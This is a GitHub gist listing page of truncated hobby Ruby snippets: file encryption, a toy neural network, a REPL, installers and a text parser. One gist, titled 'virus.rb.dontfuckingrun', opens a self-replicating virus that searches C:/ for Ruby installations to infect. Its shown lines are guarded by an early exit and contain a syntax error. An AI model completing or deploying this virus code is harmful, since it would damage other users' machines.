Skip to content

Instantly share code, notes, and snippets.

@thomasjslone
thomasjslone / aes_file_storage.rb
Created May 1, 2023 12:22
obfascate filedata from user
require 'openssl'
# Method to encrypt a file using AES
def encrypt_file_aes(path)
# Generate a random key and initialization vector (IV)
key = OpenSSL::Random.random_bytes(32)
iv = OpenSSL::Random.random_bytes(16)
# Read the file content
file_content = File.read(path)
@thomasjslone
thomasjslone / rnet.rb
Created April 29, 2023 13:59
base concept
class NeuralNetwork
def initialize(num_inputs, num_hidden, num_outputs)
@input_layer = Array.new(num_inputs) { Neuron.new(0) }
@hidden_layer = Array.new(num_hidden) { Neuron.new(num_inputs) }
@output_layer = Array.new(num_outputs) { Neuron.new(num_hidden) }
end
def feed_forward(inputs)
hidden_outputs = @hidden_layer.map { |neuron| neuron.output(inputs) }
@output_layer.map { |neuron| neuron.output(hidden_outputs) }
@thomasjslone
thomasjslone / definitions.rb
Created April 24, 2023 14:41
definitions 1.4ish i never really kept track, so now its 1.4
#self.rb#5#;#6#;#9#;#9#;#4#;#5#;#6#;#7#;#9#;#6#;#4### self.rb
## CHARACTERS
CHARS = [] ; c = 0 ; 256.times{ CHARS << c.chr.to_s ; c += 1 }
## every 8 bit binary number in cardinal order
BINARY = [] ; c = 0 ; 256.times { b = c.to_s(2) ; until b.to_s.length == 8 ; b = "0" + b.to_s ; end ; BINARY << b ; c += 1 }
## every hexicdeimal number in order
HEX = [] ; c = 0 ; 256.times { h = c.to_s(16) ; if h.length == 1 ; h = "0" + h.to_s ; end ; HEX << h ; c += 1 }
## a list of all 8 bit byte codes for the ascii characters
#BYTES = [] ; HEX.each do |h| ; BYTES << "\\x" + h ; end
##system/region termonology
@thomasjslone
thomasjslone / repl.lrb
Created April 24, 2023 00:41
for lruby parser
# shell.lrb ## LinearRuby version of the shell class from definitions.
@main = self
@context = @main
@cid = 0
@input = nil
@res = nil
@excep = []
@running = nil
def start
## use this to eval files that were converted to hex
## script = [args[0]].pack('H*').to_s # convert hex string to regular string
##
## This parser is designed to run LinearRuby programs from script files (.lrb files).
## LinearRuby has unimplied rules that can allow programs to ruby on regular ruby and linear ruby, the rules
## can be broken but for the most part breaking them doesnt make sense because in LinearRuby we assume classes
## are useless and write ruby programs in a linear series of script blocks.
## These script files have a few unimplied rules you are expected to follow to create a proper linear ruby file:
##
## 1. No classes or glabals are defined, instance variables and constants replace them.
@thomasjslone
thomasjslone / virus.rb.dontfuckingrun
Last active March 24, 2023 22:00
got bored and wrote this in like ten minutes.
INFECTED=TRUE
exit ## remove this to run and line 35
SELF_CODE = ""
maybe_ruby = []; Dir.entries("C:/")[2..-1].each { |e| if e.downcase[0..3] == "ruby; maybe_ruby << e; end }
target=nil
maybe_ruby.each do |r|
p="C:/"+r
if File.directory?(p+"/bin") and File.file?(p+"/bin/ruby.exe"); target = p; break; end
end
if target == nil; exit; end ## failed to find a ruby install to infect
@thomasjslone
thomasjslone / rubin_installer.rb
Last active March 24, 2023 21:13
latest rubin 1.0.025-7ish major tlc update for executable handeling and event logging * minor security bug not fixed yet see line 65
VERSION='1.0.025'
#begin
unless defined?(VERSION); VERSION = "0"; end
launch_directory=Dir.getwd; launch_time=Time.now
##prompt
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s
puts ""
puts "Dir: "+launch_directory.to_s
@thomasjslone
thomasjslone / rubin_installer.rb
Created March 17, 2023 13:45
tlc revision 19
VERSION='1.0.019'
unless defined?(VERSION); VERSION = "0"; end
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s
launch_directory=Dir.getwd
launch_time=Time.now
puts ""
puts "Dir: "+launch_directory.to_s
@thomasjslone
thomasjslone / scan_splicer.rb
Created March 14, 2023 22:31
wanted to build html/script parser, this is the vverymost basic form of the parse loop with no numeric stack value
def scan_splicer(s,b,e) # i.e.: "<tag>", "</tag>"
if s.to_s == "" or b.to_s == "" or e.to_s == ""; raise "Invalid arguements passed."; end
if s.length<=(b.to_s.length+e.to_s.length); raise "Input string is too small."; end
pos=0; stack = false; list=[]
if b.length > e.length ; buffer_length = b.length; else; buffer_length = e.length; end
buffer = []; buffer_length.times{ buffer << "" }
empty_buffer=[]; buffer_length.times{ empty_buffer << "" }
empty_buffer2=[]; buffer_length.times{ empty_buffer2 << "" }
tag1=empty_buffer; b.split('').each { |ch| empty_buffer << ch ; empty_buffer.delete_at(0) }
a=1 ; b=2 ; 100.times{ puts (a+b).to_s ; a+=1; b+=1 }